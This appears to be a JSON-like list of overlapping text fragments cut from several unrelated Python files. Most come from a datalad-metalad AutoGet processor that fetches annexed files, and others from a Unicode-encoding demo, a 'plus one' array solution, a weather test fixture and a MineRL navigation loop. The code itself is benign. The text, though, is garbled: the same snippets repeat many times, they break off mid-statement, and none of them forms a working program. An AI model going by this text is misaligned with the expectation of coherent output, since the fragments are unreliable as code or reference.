"Processor from ..pipelineelement import ( PipelineResult, ResultState, PipelineElement, ) from ..utils import check_dataset",
"( PipelineResult, ResultState, PipelineElement, ) from ..utils import check_dataset logger = logging.getLogger(\"datalad.metadata.processor.autoget\") class",
"import Processor from ..pipelineelement import ( PipelineResult, ResultState, PipelineElement, ) from ..utils import",
"path.exists() is False: fs_dataset_path = ( traverse_result.fs_base_path / traverse_result.dataset_path ) dataset = check_dataset(str(fs_dataset_path),",
"pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type == \"File\": path = traverse_result.path if path.is_symlink(): if path.exists() is",
"\"auto_get\") logger.debug( f\"AutoGet: automatically getting {path} \" f\"in dataset {dataset.path}\") dataset.get(str(traverse_result.path), jobs=1) pipeline_element.set_result(",
"from .base import Processor from ..pipelineelement import ( PipelineResult, ResultState, PipelineElement, ) from",
"the AutoDrop-processor to automatically drop the file again. \"\"\" def __init__(self): super().__init__() def",
"element that will allow the AutoDrop-processor to automatically drop the file again. \"\"\"",
"the file again. \"\"\" def __init__(self): super().__init__() def process(self, pipeline_element: PipelineElement) -> PipelineElement:",
"super().__init__() def process(self, pipeline_element: PipelineElement) -> PipelineElement: for traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type",
"import logging from .base import Processor from ..pipelineelement import ( PipelineResult, ResultState, PipelineElement,",
"logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor): \"\"\" This processor \"gets\" a file that is annexed and",
"file that is annexed and not locally available. It sets a flag in",
"\"\"\" def __init__(self): super().__init__() def process(self, pipeline_element: PipelineElement) -> PipelineElement: for traverse_result in",
"def process(self, pipeline_element: PipelineElement) -> PipelineElement: for traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type ==",
"AutoGet(Processor): \"\"\" This processor \"gets\" a file that is annexed and not locally",
".base import Processor from ..pipelineelement import ( PipelineResult, ResultState, PipelineElement, ) from ..utils",
"traverse_result.fs_base_path / traverse_result.dataset_path ) dataset = check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug( f\"AutoGet: automatically getting {path}",
"/ traverse_result.dataset_path ) dataset = check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug( f\"AutoGet: automatically getting {path} \"",
"path = traverse_result.path if path.is_symlink(): if path.exists() is False: fs_dataset_path = ( traverse_result.fs_base_path",
") from ..utils import check_dataset logger = logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor): \"\"\" This processor",
"f\"AutoGet: automatically getting {path} \" f\"in dataset {dataset.path}\") dataset.get(str(traverse_result.path), jobs=1) pipeline_element.set_result( \"auto_get\", [PipelineResult(ResultState.SUCCESS)])",
"PipelineElement, ) from ..utils import check_dataset logger = logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor): \"\"\" This",
"a file that is annexed and not locally available. It sets a flag",
"process(self, pipeline_element: PipelineElement) -> PipelineElement: for traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type == \"File\":",
"again. \"\"\" def __init__(self): super().__init__() def process(self, pipeline_element: PipelineElement) -> PipelineElement: for traverse_result",
"if path.is_symlink(): if path.exists() is False: fs_dataset_path = ( traverse_result.fs_base_path / traverse_result.dataset_path )",
"logging from .base import Processor from ..pipelineelement import ( PipelineResult, ResultState, PipelineElement, )",
"traverse_result.path if path.is_symlink(): if path.exists() is False: fs_dataset_path = ( traverse_result.fs_base_path / traverse_result.dataset_path",
"a flag in the element that will allow the AutoDrop-processor to automatically drop",
"to automatically drop the file again. \"\"\" def __init__(self): super().__init__() def process(self, pipeline_element:",
"-> PipelineElement: for traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type == \"File\": path = traverse_result.path",
"..pipelineelement import ( PipelineResult, ResultState, PipelineElement, ) from ..utils import check_dataset logger =",
"= check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug( f\"AutoGet: automatically getting {path} \" f\"in dataset {dataset.path}\") dataset.get(str(traverse_result.path),",
"\"File\": path = traverse_result.path if path.is_symlink(): if path.exists() is False: fs_dataset_path = (",
"is False: fs_dataset_path = ( traverse_result.fs_base_path / traverse_result.dataset_path ) dataset = check_dataset(str(fs_dataset_path), \"auto_get\")",
"traverse_result.type == \"File\": path = traverse_result.path if path.is_symlink(): if path.exists() is False: fs_dataset_path",
"in pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type == \"File\": path = traverse_result.path if path.is_symlink(): if path.exists()",
"= ( traverse_result.fs_base_path / traverse_result.dataset_path ) dataset = check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug( f\"AutoGet: automatically",
"in the element that will allow the AutoDrop-processor to automatically drop the file",
"= logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor): \"\"\" This processor \"gets\" a file that is annexed",
"allow the AutoDrop-processor to automatically drop the file again. \"\"\" def __init__(self): super().__init__()",
"PipelineResult, ResultState, PipelineElement, ) from ..utils import check_dataset logger = logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor):",
"if traverse_result.type == \"File\": path = traverse_result.path if path.is_symlink(): if path.exists() is False:",
"PipelineElement: for traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type == \"File\": path = traverse_result.path if",
"AutoDrop-processor to automatically drop the file again. \"\"\" def __init__(self): super().__init__() def process(self,",
"( traverse_result.fs_base_path / traverse_result.dataset_path ) dataset = check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug( f\"AutoGet: automatically getting",
"path.is_symlink(): if path.exists() is False: fs_dataset_path = ( traverse_result.fs_base_path / traverse_result.dataset_path ) dataset",
"<filename>datalad_metalad/processor/autoget.py<gh_stars>1-10 import logging from .base import Processor from ..pipelineelement import ( PipelineResult, ResultState,",
"will allow the AutoDrop-processor to automatically drop the file again. \"\"\" def __init__(self):",
"This processor \"gets\" a file that is annexed and not locally available. It",
"..utils import check_dataset logger = logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor): \"\"\" This processor \"gets\" a",
"== \"File\": path = traverse_result.path if path.is_symlink(): if path.exists() is False: fs_dataset_path =",
"flag in the element that will allow the AutoDrop-processor to automatically drop the",
"available. It sets a flag in the element that will allow the AutoDrop-processor",
"check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug( f\"AutoGet: automatically getting {path} \" f\"in dataset {dataset.path}\") dataset.get(str(traverse_result.path), jobs=1)",
"PipelineElement) -> PipelineElement: for traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type == \"File\": path =",
"that will allow the AutoDrop-processor to automatically drop the file again. \"\"\" def",
"\"gets\" a file that is annexed and not locally available. It sets a",
"dataset = check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug( f\"AutoGet: automatically getting {path} \" f\"in dataset {dataset.path}\")",
"traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type == \"File\": path = traverse_result.path if path.is_symlink(): if",
") dataset = check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug( f\"AutoGet: automatically getting {path} \" f\"in dataset",
"def __init__(self): super().__init__() def process(self, pipeline_element: PipelineElement) -> PipelineElement: for traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"):",
"logger = logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor): \"\"\" This processor \"gets\" a file that is",
"if path.exists() is False: fs_dataset_path = ( traverse_result.fs_base_path / traverse_result.dataset_path ) dataset =",
"is annexed and not locally available. It sets a flag in the element",
"file again. \"\"\" def __init__(self): super().__init__() def process(self, pipeline_element: PipelineElement) -> PipelineElement: for",
"__init__(self): super().__init__() def process(self, pipeline_element: PipelineElement) -> PipelineElement: for traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"): if",
"class AutoGet(Processor): \"\"\" This processor \"gets\" a file that is annexed and not",
"from ..pipelineelement import ( PipelineResult, ResultState, PipelineElement, ) from ..utils import check_dataset logger",
"import check_dataset logger = logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor): \"\"\" This processor \"gets\" a file",
"sets a flag in the element that will allow the AutoDrop-processor to automatically",
"drop the file again. \"\"\" def __init__(self): super().__init__() def process(self, pipeline_element: PipelineElement) ->",
"logger.debug( f\"AutoGet: automatically getting {path} \" f\"in dataset {dataset.path}\") dataset.get(str(traverse_result.path), jobs=1) pipeline_element.set_result( \"auto_get\",",
"getting {path} \" f\"in dataset {dataset.path}\") dataset.get(str(traverse_result.path), jobs=1) pipeline_element.set_result( \"auto_get\", [PipelineResult(ResultState.SUCCESS)]) return pipeline_element",
"False: fs_dataset_path = ( traverse_result.fs_base_path / traverse_result.dataset_path ) dataset = check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug(",
"traverse_result.dataset_path ) dataset = check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug( f\"AutoGet: automatically getting {path} \" f\"in",
"check_dataset logger = logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor): \"\"\" This processor \"gets\" a file that",
"ResultState, PipelineElement, ) from ..utils import check_dataset logger = logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor): \"\"\"",
"automatically getting {path} \" f\"in dataset {dataset.path}\") dataset.get(str(traverse_result.path), jobs=1) pipeline_element.set_result( \"auto_get\", [PipelineResult(ResultState.SUCCESS)]) return",
"for traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type == \"File\": path = traverse_result.path if path.is_symlink():",
"not locally available. It sets a flag in the element that will allow",
"automatically drop the file again. \"\"\" def __init__(self): super().__init__() def process(self, pipeline_element: PipelineElement)",
"processor \"gets\" a file that is annexed and not locally available. It sets",
"fs_dataset_path = ( traverse_result.fs_base_path / traverse_result.dataset_path ) dataset = check_dataset(str(fs_dataset_path), \"auto_get\") logger.debug( f\"AutoGet:"
] |
[
"string_utf) # unicode string string = 'pythön!' # print string print('The string is:',",
"string) # ignore error print('The encoded version (with ignore) is:', string.encode(\"ascii\", \"ignore\")) #",
"encoded version is:', string_utf) # unicode string string = 'pythön!' # print string",
"to utf-8 string_utf = string.encode() # print result print('The encoded version is:', string_utf)",
"print result print('The encoded version is:', string_utf) # unicode string string = 'pythön!'",
"string string = 'pythön!' # print string print('The string is:', string) # ignore",
"result print('The encoded version is:', string_utf) # unicode string string = 'pythön!' #",
"version is:', string_utf) # unicode string string = 'pythön!' # print string print('The",
"string string = 'pythön!' # print string print('The string is:', string) # default",
"string_utf = string.encode() # print result print('The encoded version is:', string_utf) # unicode",
"ignore) is:', string.encode(\"ascii\", \"ignore\")) # replace error print('The encoded version (with replace) is:',",
"error print('The encoded version (with ignore) is:', string.encode(\"ascii\", \"ignore\")) # replace error print('The",
"# print result print('The encoded version is:', string_utf) # unicode string string =",
"is:', string_utf) # unicode string string = 'pythön!' # print string print('The string",
"unicode string string = 'pythön!' # print string print('The string is:', string) #",
"'pythön!' # print string print('The string is:', string) # default encoding to utf-8",
"string print('The string is:', string) # ignore error print('The encoded version (with ignore)",
"print string print('The string is:', string) # default encoding to utf-8 string_utf =",
"demonstrate encode functions in a string\"\"\" #Utf-8 Encoding # unicode string string =",
"(with ignore) is:', string.encode(\"ascii\", \"ignore\")) # replace error print('The encoded version (with replace)",
"is:', string.encode(\"ascii\", \"ignore\")) # replace error print('The encoded version (with replace) is:', string.encode(\"ascii\",",
"a string\"\"\" #Utf-8 Encoding # unicode string string = 'pythön!' # print string",
"string\"\"\" #Utf-8 Encoding # unicode string string = 'pythön!' # print string print('The",
"is:', string) # default encoding to utf-8 string_utf = string.encode() # print result",
"utf-8 string_utf = string.encode() # print result print('The encoded version is:', string_utf) #",
"print string print('The string is:', string) # ignore error print('The encoded version (with",
"string = 'pythön!' # print string print('The string is:', string) # default encoding",
"print('The string is:', string) # ignore error print('The encoded version (with ignore) is:',",
"string) # default encoding to utf-8 string_utf = string.encode() # print result print('The",
"in a string\"\"\" #Utf-8 Encoding # unicode string string = 'pythön!' # print",
"string print('The string is:', string) # default encoding to utf-8 string_utf = string.encode()",
"string.encode() # print result print('The encoded version is:', string_utf) # unicode string string",
"# print string print('The string is:', string) # ignore error print('The encoded version",
"ignore error print('The encoded version (with ignore) is:', string.encode(\"ascii\", \"ignore\")) # replace error",
"encoding to utf-8 string_utf = string.encode() # print result print('The encoded version is:',",
"string is:', string) # default encoding to utf-8 string_utf = string.encode() # print",
"# print string print('The string is:', string) # default encoding to utf-8 string_utf",
"default encoding to utf-8 string_utf = string.encode() # print result print('The encoded version",
"Encoding # unicode string string = 'pythön!' # print string print('The string is:',",
"= 'pythön!' # print string print('The string is:', string) # default encoding to",
"string = 'pythön!' # print string print('The string is:', string) # ignore error",
"is:', string) # ignore error print('The encoded version (with ignore) is:', string.encode(\"ascii\", \"ignore\"))",
"'pythön!' # print string print('The string is:', string) # ignore error print('The encoded",
"# unicode string string = 'pythön!' # print string print('The string is:', string)",
"functions in a string\"\"\" #Utf-8 Encoding # unicode string string = 'pythön!' #",
"version (with ignore) is:', string.encode(\"ascii\", \"ignore\")) # replace error print('The encoded version (with",
"string.encode(\"ascii\", \"ignore\")) # replace error print('The encoded version (with replace) is:', string.encode(\"ascii\", \"replace\"))",
"print('The encoded version (with ignore) is:', string.encode(\"ascii\", \"ignore\")) # replace error print('The encoded",
"encoded version (with ignore) is:', string.encode(\"ascii\", \"ignore\")) # replace error print('The encoded version",
"#Utf-8 Encoding # unicode string string = 'pythön!' # print string print('The string",
"Programme demonstrate encode functions in a string\"\"\" #Utf-8 Encoding # unicode string string",
"# ignore error print('The encoded version (with ignore) is:', string.encode(\"ascii\", \"ignore\")) # replace",
"print('The string is:', string) # default encoding to utf-8 string_utf = string.encode() #",
"\"\"\"Below Python Programme demonstrate encode functions in a string\"\"\" #Utf-8 Encoding # unicode",
"# default encoding to utf-8 string_utf = string.encode() # print result print('The encoded",
"print('The encoded version is:', string_utf) # unicode string string = 'pythön!' # print",
"Python Programme demonstrate encode functions in a string\"\"\" #Utf-8 Encoding # unicode string",
"encode functions in a string\"\"\" #Utf-8 Encoding # unicode string string = 'pythön!'",
"= 'pythön!' # print string print('The string is:', string) # ignore error print('The",
"string is:', string) # ignore error print('The encoded version (with ignore) is:', string.encode(\"ascii\",",
"= string.encode() # print result print('The encoded version is:', string_utf) # unicode string"
] |
[
"<gh_stars>10-100 class Solution: def plusOne(self, digits): \"\"\" :type digits: List[int] :rtype: List[int] \"\"\"",
"- 1, -1, -1): if result[i] == 9: result[i] = 0 if i",
"Solution: def plusOne(self, digits): \"\"\" :type digits: List[int] :rtype: List[int] \"\"\" result =",
"0 if i == 0: result.insert(0, 1) else: result[i] += 1 return result",
"plusOne(self, digits): \"\"\" :type digits: List[int] :rtype: List[int] \"\"\" result = digits[:] for",
"result = digits[:] for i in range(len(result) - 1, -1, -1): if result[i]",
":type digits: List[int] :rtype: List[int] \"\"\" result = digits[:] for i in range(len(result)",
"\"\"\" result = digits[:] for i in range(len(result) - 1, -1, -1): if",
"List[int] \"\"\" result = digits[:] for i in range(len(result) - 1, -1, -1):",
"i in range(len(result) - 1, -1, -1): if result[i] == 9: result[i] =",
"\"\"\" :type digits: List[int] :rtype: List[int] \"\"\" result = digits[:] for i in",
"def plusOne(self, digits): \"\"\" :type digits: List[int] :rtype: List[int] \"\"\" result = digits[:]",
"if result[i] == 9: result[i] = 0 if i == 0: result.insert(0, 1)",
"List[int] :rtype: List[int] \"\"\" result = digits[:] for i in range(len(result) - 1,",
"== 9: result[i] = 0 if i == 0: result.insert(0, 1) else: result[i]",
"9: result[i] = 0 if i == 0: result.insert(0, 1) else: result[i] +=",
"= digits[:] for i in range(len(result) - 1, -1, -1): if result[i] ==",
"i == 0: result.insert(0, 1) else: result[i] += 1 return result return result",
"in range(len(result) - 1, -1, -1): if result[i] == 9: result[i] = 0",
"-1): if result[i] == 9: result[i] = 0 if i == 0: result.insert(0,",
"result[i] = 0 if i == 0: result.insert(0, 1) else: result[i] += 1",
":rtype: List[int] \"\"\" result = digits[:] for i in range(len(result) - 1, -1,",
"digits: List[int] :rtype: List[int] \"\"\" result = digits[:] for i in range(len(result) -",
"range(len(result) - 1, -1, -1): if result[i] == 9: result[i] = 0 if",
"class Solution: def plusOne(self, digits): \"\"\" :type digits: List[int] :rtype: List[int] \"\"\" result",
"digits): \"\"\" :type digits: List[int] :rtype: List[int] \"\"\" result = digits[:] for i",
"for i in range(len(result) - 1, -1, -1): if result[i] == 9: result[i]",
"if i == 0: result.insert(0, 1) else: result[i] += 1 return result return",
"= 0 if i == 0: result.insert(0, 1) else: result[i] += 1 return",
"1, -1, -1): if result[i] == 9: result[i] = 0 if i ==",
"result[i] == 9: result[i] = 0 if i == 0: result.insert(0, 1) else:",
"-1, -1): if result[i] == 9: result[i] = 0 if i == 0:",
"digits[:] for i in range(len(result) - 1, -1, -1): if result[i] == 9:"
] |
[] |
[
"# noqa import os import unittest mock = unittest.mock.Mock() master_copnfig = 'etc/weatherman.yml' with",
"yaml.load(ycf, Loader=yaml.FullLoader) environment = os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def setup_wb(): wb = weather_butler.WeatherButler('db/weatherman_unit') return wb",
"os import unittest mock = unittest.mock.Mock() master_copnfig = 'etc/weatherman.yml' with open(master_copnfig) as ycf:",
"ycf: config = yaml.load(ycf, Loader=yaml.FullLoader) environment = os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def setup_wb(): wb =",
"wb # def test_get_response(): # def test_format_request_city_id_list(): # def test_format_response(): # def test_poll():",
"noqa import os import unittest mock = unittest.mock.Mock() master_copnfig = 'etc/weatherman.yml' with open(master_copnfig)",
"import json # noqa import os import unittest mock = unittest.mock.Mock() master_copnfig =",
"import os import unittest mock = unittest.mock.Mock() master_copnfig = 'etc/weatherman.yml' with open(master_copnfig) as",
"# noqa import sqlite3 # noqa import yaml import json # noqa import",
"= 'etc/weatherman.yml' with open(master_copnfig) as ycf: config = yaml.load(ycf, Loader=yaml.FullLoader) environment = os.environ.get('ENVIRONMENT')",
"setup_wb(): wb = weather_butler.WeatherButler('db/weatherman_unit') return wb # def test_get_response(): # def test_format_request_city_id_list(): #",
"noqa import sqlite3 # noqa import yaml import json # noqa import os",
"from weatherman import weather_butler import pytest import datetime # noqa import sqlite3 #",
"# noqa import yaml import json # noqa import os import unittest mock",
"import yaml import json # noqa import os import unittest mock = unittest.mock.Mock()",
"= unittest.mock.Mock() master_copnfig = 'etc/weatherman.yml' with open(master_copnfig) as ycf: config = yaml.load(ycf, Loader=yaml.FullLoader)",
"return wb # def test_get_response(): # def test_format_request_city_id_list(): # def test_format_response(): # def",
"Loader=yaml.FullLoader) environment = os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def setup_wb(): wb = weather_butler.WeatherButler('db/weatherman_unit') return wb #",
"open(master_copnfig) as ycf: config = yaml.load(ycf, Loader=yaml.FullLoader) environment = os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def setup_wb():",
"json # noqa import os import unittest mock = unittest.mock.Mock() master_copnfig = 'etc/weatherman.yml'",
"weatherman import weather_butler import pytest import datetime # noqa import sqlite3 # noqa",
"import sqlite3 # noqa import yaml import json # noqa import os import",
"weather_butler.WeatherButler('db/weatherman_unit') return wb # def test_get_response(): # def test_format_request_city_id_list(): # def test_format_response(): #",
"def setup_wb(): wb = weather_butler.WeatherButler('db/weatherman_unit') return wb # def test_get_response(): # def test_format_request_city_id_list():",
"wb = weather_butler.WeatherButler('db/weatherman_unit') return wb # def test_get_response(): # def test_format_request_city_id_list(): # def",
"pytest import datetime # noqa import sqlite3 # noqa import yaml import json",
"datetime # noqa import sqlite3 # noqa import yaml import json # noqa",
"import datetime # noqa import sqlite3 # noqa import yaml import json #",
"environment = os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def setup_wb(): wb = weather_butler.WeatherButler('db/weatherman_unit') return wb # def",
"@pytest.fixture(scope=\"function\") def setup_wb(): wb = weather_butler.WeatherButler('db/weatherman_unit') return wb # def test_get_response(): # def",
"sqlite3 # noqa import yaml import json # noqa import os import unittest",
"= yaml.load(ycf, Loader=yaml.FullLoader) environment = os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def setup_wb(): wb = weather_butler.WeatherButler('db/weatherman_unit') return",
"weather_butler import pytest import datetime # noqa import sqlite3 # noqa import yaml",
"yaml import json # noqa import os import unittest mock = unittest.mock.Mock() master_copnfig",
"unittest mock = unittest.mock.Mock() master_copnfig = 'etc/weatherman.yml' with open(master_copnfig) as ycf: config =",
"os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def setup_wb(): wb = weather_butler.WeatherButler('db/weatherman_unit') return wb # def test_get_response(): #",
"noqa import yaml import json # noqa import os import unittest mock =",
"import pytest import datetime # noqa import sqlite3 # noqa import yaml import",
"master_copnfig = 'etc/weatherman.yml' with open(master_copnfig) as ycf: config = yaml.load(ycf, Loader=yaml.FullLoader) environment =",
"'etc/weatherman.yml' with open(master_copnfig) as ycf: config = yaml.load(ycf, Loader=yaml.FullLoader) environment = os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\")",
"unittest.mock.Mock() master_copnfig = 'etc/weatherman.yml' with open(master_copnfig) as ycf: config = yaml.load(ycf, Loader=yaml.FullLoader) environment",
"mock = unittest.mock.Mock() master_copnfig = 'etc/weatherman.yml' with open(master_copnfig) as ycf: config = yaml.load(ycf,",
"with open(master_copnfig) as ycf: config = yaml.load(ycf, Loader=yaml.FullLoader) environment = os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def",
"import weather_butler import pytest import datetime # noqa import sqlite3 # noqa import",
"import unittest mock = unittest.mock.Mock() master_copnfig = 'etc/weatherman.yml' with open(master_copnfig) as ycf: config",
"config = yaml.load(ycf, Loader=yaml.FullLoader) environment = os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def setup_wb(): wb = weather_butler.WeatherButler('db/weatherman_unit')",
"= weather_butler.WeatherButler('db/weatherman_unit') return wb # def test_get_response(): # def test_format_request_city_id_list(): # def test_format_response():",
"as ycf: config = yaml.load(ycf, Loader=yaml.FullLoader) environment = os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def setup_wb(): wb",
"= os.environ.get('ENVIRONMENT') @pytest.fixture(scope=\"function\") def setup_wb(): wb = weather_butler.WeatherButler('db/weatherman_unit') return wb # def test_get_response():"
] |
[
"== \"__main__\": Text = sys.stdin.read().rstrip() suffix_array = SuffixArray(Text) print(', '.join(str(x) for x in",
"SuffixArray(Text). ''' suffixes = [] suffix_array = [] for i in range(len(Text)): suffixes.append(Text[i:])",
"Output: SuffixArray(Text). ''' suffixes = [] suffix_array = [] for i in range(len(Text)):",
"<gh_stars>1-10 import sys def SuffixArray(Text): ''' Suffix Array Input: A string Text. Output:",
"[] for i in range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i) suffix_array = [x for _, x",
"if __name__ == \"__main__\": Text = sys.stdin.read().rstrip() suffix_array = SuffixArray(Text) print(', '.join(str(x) for",
"\"__main__\": Text = sys.stdin.read().rstrip() suffix_array = SuffixArray(Text) print(', '.join(str(x) for x in suffix_array))",
"in sorted(zip(suffixes, suffix_array), key=lambda pair: pair[0])] return suffix_array if __name__ == \"__main__\": Text",
"Text. Output: SuffixArray(Text). ''' suffixes = [] suffix_array = [] for i in",
"suffix_array = [x for _, x in sorted(zip(suffixes, suffix_array), key=lambda pair: pair[0])] return",
"suffix_array = [] for i in range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i) suffix_array = [x for",
"string Text. Output: SuffixArray(Text). ''' suffixes = [] suffix_array = [] for i",
"in range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i) suffix_array = [x for _, x in sorted(zip(suffixes, suffix_array),",
"suffix_array if __name__ == \"__main__\": Text = sys.stdin.read().rstrip() suffix_array = SuffixArray(Text) print(', '.join(str(x)",
"A string Text. Output: SuffixArray(Text). ''' suffixes = [] suffix_array = [] for",
"''' Suffix Array Input: A string Text. Output: SuffixArray(Text). ''' suffixes = []",
"def SuffixArray(Text): ''' Suffix Array Input: A string Text. Output: SuffixArray(Text). ''' suffixes",
"key=lambda pair: pair[0])] return suffix_array if __name__ == \"__main__\": Text = sys.stdin.read().rstrip() suffix_array",
"i in range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i) suffix_array = [x for _, x in sorted(zip(suffixes,",
"''' suffixes = [] suffix_array = [] for i in range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i)",
"_, x in sorted(zip(suffixes, suffix_array), key=lambda pair: pair[0])] return suffix_array if __name__ ==",
"Input: A string Text. Output: SuffixArray(Text). ''' suffixes = [] suffix_array = []",
"Suffix Array Input: A string Text. Output: SuffixArray(Text). ''' suffixes = [] suffix_array",
"x in sorted(zip(suffixes, suffix_array), key=lambda pair: pair[0])] return suffix_array if __name__ == \"__main__\":",
"= [] suffix_array = [] for i in range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i) suffix_array =",
"for i in range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i) suffix_array = [x for _, x in",
"range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i) suffix_array = [x for _, x in sorted(zip(suffixes, suffix_array), key=lambda",
"import sys def SuffixArray(Text): ''' Suffix Array Input: A string Text. Output: SuffixArray(Text).",
"pair[0])] return suffix_array if __name__ == \"__main__\": Text = sys.stdin.read().rstrip() suffix_array = SuffixArray(Text)",
"suffix_array.append(i) suffix_array = [x for _, x in sorted(zip(suffixes, suffix_array), key=lambda pair: pair[0])]",
"[] suffix_array = [] for i in range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i) suffix_array = [x",
"[x for _, x in sorted(zip(suffixes, suffix_array), key=lambda pair: pair[0])] return suffix_array if",
"suffixes = [] suffix_array = [] for i in range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i) suffix_array",
"__name__ == \"__main__\": Text = sys.stdin.read().rstrip() suffix_array = SuffixArray(Text) print(', '.join(str(x) for x",
"SuffixArray(Text): ''' Suffix Array Input: A string Text. Output: SuffixArray(Text). ''' suffixes =",
"sorted(zip(suffixes, suffix_array), key=lambda pair: pair[0])] return suffix_array if __name__ == \"__main__\": Text =",
"= [] for i in range(len(Text)): suffixes.append(Text[i:]) suffix_array.append(i) suffix_array = [x for _,",
"pair: pair[0])] return suffix_array if __name__ == \"__main__\": Text = sys.stdin.read().rstrip() suffix_array =",
"return suffix_array if __name__ == \"__main__\": Text = sys.stdin.read().rstrip() suffix_array = SuffixArray(Text) print(',",
"Array Input: A string Text. Output: SuffixArray(Text). ''' suffixes = [] suffix_array =",
"for _, x in sorted(zip(suffixes, suffix_array), key=lambda pair: pair[0])] return suffix_array if __name__",
"suffix_array), key=lambda pair: pair[0])] return suffix_array if __name__ == \"__main__\": Text = sys.stdin.read().rstrip()",
"sys def SuffixArray(Text): ''' Suffix Array Input: A string Text. Output: SuffixArray(Text). '''",
"suffixes.append(Text[i:]) suffix_array.append(i) suffix_array = [x for _, x in sorted(zip(suffixes, suffix_array), key=lambda pair:",
"= [x for _, x in sorted(zip(suffixes, suffix_array), key=lambda pair: pair[0])] return suffix_array"
] |
[
"minerl import gym import logging logging.basicConfig(level=logging.DEBUG) env = gym.make('MineRLNavigateDense-v0') print('v') obs = env.reset()",
"gym import logging logging.basicConfig(level=logging.DEBUG) env = gym.make('MineRLNavigateDense-v0') print('v') obs = env.reset() done =",
"= False net_reward = 0 while not done: action = env.action_space.noop() print(action) action['camera']",
"1 obs, reward, done, info = env.step(action) env.render() net_reward += reward print(\"Total reward:",
"logging logging.basicConfig(level=logging.DEBUG) env = gym.make('MineRLNavigateDense-v0') print('v') obs = env.reset() done = False net_reward",
"obs, reward, done, info = env.step(action) env.render() net_reward += reward print(\"Total reward: \",",
"= 0 action['forward'] = 1 action['jump'] = 1 action['attack'] = 1 obs, reward,",
"= env.reset() done = False net_reward = 0 while not done: action =",
"action['camera'] = [0, 0.03 * obs[\"compassAngle\"]] action['back'] = 0 action['forward'] = 1 action['jump']",
"env = gym.make('MineRLNavigateDense-v0') print('v') obs = env.reset() done = False net_reward = 0",
"<gh_stars>0 import minerl import gym import logging logging.basicConfig(level=logging.DEBUG) env = gym.make('MineRLNavigateDense-v0') print('v') obs",
"env.action_space.noop() print(action) action['camera'] = [0, 0.03 * obs[\"compassAngle\"]] action['back'] = 0 action['forward'] =",
"print(action) action['camera'] = [0, 0.03 * obs[\"compassAngle\"]] action['back'] = 0 action['forward'] = 1",
"* obs[\"compassAngle\"]] action['back'] = 0 action['forward'] = 1 action['jump'] = 1 action['attack'] =",
"[0, 0.03 * obs[\"compassAngle\"]] action['back'] = 0 action['forward'] = 1 action['jump'] = 1",
"obs = env.reset() done = False net_reward = 0 while not done: action",
"action = env.action_space.noop() print(action) action['camera'] = [0, 0.03 * obs[\"compassAngle\"]] action['back'] = 0",
"obs[\"compassAngle\"]] action['back'] = 0 action['forward'] = 1 action['jump'] = 1 action['attack'] = 1",
"0 action['forward'] = 1 action['jump'] = 1 action['attack'] = 1 obs, reward, done,",
"False net_reward = 0 while not done: action = env.action_space.noop() print(action) action['camera'] =",
"0.03 * obs[\"compassAngle\"]] action['back'] = 0 action['forward'] = 1 action['jump'] = 1 action['attack']",
"done = False net_reward = 0 while not done: action = env.action_space.noop() print(action)",
"= env.action_space.noop() print(action) action['camera'] = [0, 0.03 * obs[\"compassAngle\"]] action['back'] = 0 action['forward']",
"import minerl import gym import logging logging.basicConfig(level=logging.DEBUG) env = gym.make('MineRLNavigateDense-v0') print('v') obs =",
"action['jump'] = 1 action['attack'] = 1 obs, reward, done, info = env.step(action) env.render()",
